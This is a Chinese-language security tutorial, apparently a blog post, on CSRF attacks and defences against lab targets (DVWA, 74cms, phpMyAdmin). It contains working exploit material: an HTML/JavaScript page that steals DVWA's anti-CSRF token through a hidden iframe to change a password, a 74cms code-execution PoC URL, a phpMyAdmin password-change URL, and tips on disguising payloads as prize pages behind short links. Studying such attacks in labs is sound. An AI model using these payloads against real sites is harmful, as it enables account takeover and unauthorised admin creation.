[紅日安全]Web安全Day3 - CSRF實戰攻防

本文由紅日安全成員: Once 編寫,如有不當,還望斧正。

大家好,我們是紅日安全-Web安全攻防小組。此項目是關於Web安全的系列文章分享,還包含一個HTB靶場供大家練習,我們給這個項目起了一個名字叫 Web安全實戰 ,希望對想要學習Web安全的朋友們有所幫助。每一篇文章都是於基於漏洞簡介-漏洞原理-漏洞危害-測試方法(手工測試,工具測試)-靶場測試(分爲PHP靶場、JAVA靶場、Python靶場基本上三種靶場全部涵蓋)-實戰演練(主要選擇相應CMS或者是Vulnhub進行實戰演練),如果對大家有幫助請Star鼓勵我們創作更好文章。如果你願意加入我們,一起完善這個項目,歡迎通過郵件形式([email protected])聯繫我們。

1.1 CSRF漏洞

1.1.1 CSRF漏洞簡介

CSRF(跨站請求僞造),是指利用受害者尚未失效的身份認證信息( cookie、會話
等),誘騙其點擊惡意鏈接或者訪問包含攻擊代碼的頁面,在受害人不知情的情況下
以受害者的身份向(身份認證信息所對應的)服務器發送請求,從而完成非法操作
(如轉賬、改密等)。CSRF與XSS最大的區別就在於,CSRF並沒有盜取cookie而是直接利用

1.1.2 CSRF漏洞分類

1.1.2.1 GET型

GET型CSRF漏洞,只需要構造URL,然後誘導受害者訪問利用。

1.1.2.2 POST型

POST型CSRF漏洞,需要構造自動提交或點擊提交的表單,然後誘導受害者訪問或點擊利用。

1.1.3 CSRF漏洞危害

未驗證 Referer或者使用 Token 導致用戶或者管理員可被 CSRF添加、修改、刪除等操作

1.1.4 CSRF漏洞修復方案

1、添加隨機token值,並驗證。
2、驗證Referer
3、關鍵請求使用驗證碼功能

1.2 CSRF漏洞利用

1.2.1 利用思路

尋找增刪改的地方,構造HTML,修改HTML表單中某些參數,使用瀏覽器打開該HTML,點擊提交表單後查看響應結果,看該操作是否成功執行。

1.2.2 工具使用

1.2.2.1 burpsuite

使用burpsuite中Engagement tools的Generate CSRF PoC模塊
右擊要csrf攻擊的url,選擇Generate CSRF POC模塊

然後就構造好了攻擊腳本,value就是要修改成的密碼

Test in browser一般用於自己測試用

然後點擊copy

然後用代理burpsuite的瀏覽器打開

點擊submit request即可修改成功密碼

Copy HTML 一般用於攻擊其他人,複製下代碼保存爲HTML文檔
可以簡單修改箇中獎頁面,誘惑受害者點擊


點擊領獎成功修改密碼

1.2.2.2 CSRFTester

下載地址:https://www.owasp.org/index.php/File:CSRFTester-1.0.zip

下載後點擊run.bat

正常打開,並監聽8008端口,需要把瀏覽器代理設置爲8008

點擊Start Recording,開啓CSRFTester檢測工作,我們這裏抓添加管理員的數據包

然後右擊刪除沒用的數據包

點擊Generate HTML生成CSRF攻擊腳本,我們這次添加test1賬號

打開此文件,成功添加賬號

1.2.2 CSRF漏洞利用實例之DVWA

1.2.2.1 安裝步驟

下載地址:https://codeload.github.com/ethicalhack3r/DVWA/zip/master
漏洞環境:windows、phpstudy
先把config目錄下config.inc.php.dist文件名修改爲config.inc.php,數據庫密碼修改爲自己的。

然後訪問dvwa,因爲csrf漏洞不涉及紅色部分配置,直接創建即可

創建成功,賬號密碼是admin/password

這裏可以調相應的安全等級

1.2.2.2 low等級

從代碼中可以看出未作任何防禦,直接更改密碼。

if( isset( $_GET[ 'Change' ] ) ) {
   // Get input
   $pass_new  = $_GET[ 'password_new' ];
   $pass_conf = $_GET[ 'password_conf' ];

   // Do the passwords match?
   if( $pass_new == $pass_conf ) {
      // They do!
      $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
      $pass_new = md5( $pass_new );

      // Update the database
      $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
      $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

      // Feedback for the user
      $html .= "<pre>Password Changed.</pre>";
   }
   else {
      // Issue with passwords matching
      $html .= "<pre>Passwords did not match.</pre>";
   }

   ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

先使用burpsuite進行抓修改密碼的數據包

再使用Generate CSRF PoC進行構造poc

CSRF HTML中的代碼是構造好的

把構造好的代碼複製出來,複製到自己創建的HTML文件裏,value裏的值是要修改成的密碼。

點擊submit request即可修改

修改成功

1.2.2.3 medium等級

從代碼中可以看出先檢測referer是否包含主機名稱,再進行更改密碼。

if( isset( $_GET[ 'Change' ] ) ) {
   // Checks to see where the request came from
   if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
      // Get input
      $pass_new  = $_GET[ 'password_new' ];
      $pass_conf = $_GET[ 'password_conf' ];

      // Do the passwords match?
      if( $pass_new == $pass_conf ) {
         // They do!
         $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
         $pass_new = md5( $pass_new );

         // Update the database
         $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
         $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

         // Feedback for the user
         $html .= "<pre>Password Changed.</pre>";
      }
      else {
         // Issue with passwords matching
         $html .= "<pre>Passwords did not match.</pre>";
      }
   }
   else {
      // Didn't come from a trusted source
      $html .= "<pre>That request didn't look correct.</pre>";
   }

   ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

先看下phpinfo中SERVER_NAME是什麼

訪問poc,並抓包修改referer,添加localhost進行繞過

修改成功

1.2.2.4 high等級

從代碼可以看出增加了Anti-CSRF token機制,用戶每次訪問更改頁面時,服務器都會返回一個隨機token,向服務器發送請求時,並帶上隨機token,服務端接收的時候先對token進行檢查是否正確,纔會處理客戶端請求。

if( isset( $_GET[ 'Change' ] ) ) {
   // Check Anti-CSRF token
   checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

   // Get input
   $pass_new  = $_GET[ 'password_new' ];
   $pass_conf = $_GET[ 'password_conf' ];

   // Do the passwords match?
   if( $pass_new == $pass_conf ) {
      // They do!
      $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
      $pass_new = md5( $pass_new );

      // Update the database
      $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
      $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

      // Feedback for the user
      $html .= "<pre>Password Changed.</pre>";
   }
   else {
      // Issue with passwords matching
      $html .= "<pre>Passwords did not match.</pre>";
   }

   ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token

generateSessionToken();

要繞過Anti-CSRF token機制,首先要獲取token,再使用這個token進行修改密碼。
然後構造以下代碼

<html>
<body>
<script type="text/javascript">
    function attack()
  {
   document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;
  document.getElementById("transfer").submit(); 
  }

</script>
<iframe src="http://192.168.1.108/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;">

</iframe>
<body onload="attack()">

  <form method="GET" id="transfer" action="http://192.168.1.108/dvwa/vulnerabilities/csrf">

   <input type="hidden" name="password_new" value="hongri">

    <input type="hidden" name="password_conf" value="hongri">

   <input type="hidden" name="user_token" value="">

  <input type="hidden" name="Change" value="Change">

   </form>

</body>
</html>

訪問後就立即修改密碼

1.2.2.5 參考文章

https://www.freebuf.com/articles/web/118352.html

1.2.3 CSRF漏洞利用實例之騎士cms

1.2.3.1 安裝步驟

騎士cms下載地址:http://www.74cms.com/download/load/id/155.html
漏洞環境:windows、phpstudy
存在漏洞:POS型CSRF、代碼執行

下載解壓,訪問首頁

填寫信息

安裝完成

1.2.3.2 利用過程

安裝好後,進入添加管理員界面進行抓包


使用Generate CSRF PoC生成HTML代碼,並添加個中獎圖片,簡單僞裝成中獎頁面。

還可以用短域名繼續僞裝

然後誘導管理員打開並點擊,創建成功

使用創建的賬號密碼登錄

使用代碼執行漏洞執行phpinfo
poc:index.php?m=Admin&c=Tpl&a=set&tpl_dir=a'.${phpinfo()}.'

1.2.3.3 參考文章

http://www.yqxiaojunjie.com/index.php/archives/341/

1.2.4 CSRF漏洞利用實例之phpMyAdmin

1.2.4.1 安裝步驟

此漏洞使用VulnSpy在線靶機
靶機地址:https://www.vulnspy.com/?u=pmasa-2017-9
存在漏洞:GET型CSRF
點擊開啓實驗

可以登錄也可以不登錄

打開靶機地址,默認賬號密碼:root/toor,靶機只有十分鐘的時間

1.2.4.2 利用過程

將當前用戶密碼更改爲hongri,SQL命令

SET passsword=PASSWORD('hongri');

構造poc

http://f1496b741e86dce4b2f79f3e839f977d.vsplate.me:19830/pma/sql.php?db=mysql&table=user&sql_query=SET%20password
%20=%20PASSWORD(%27hongri%27)

我們可以使用短域名僞裝

修改成功

1.2.4.3 參考文章

https://www.vulnspy.com/?u=pmasa-2017-9

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章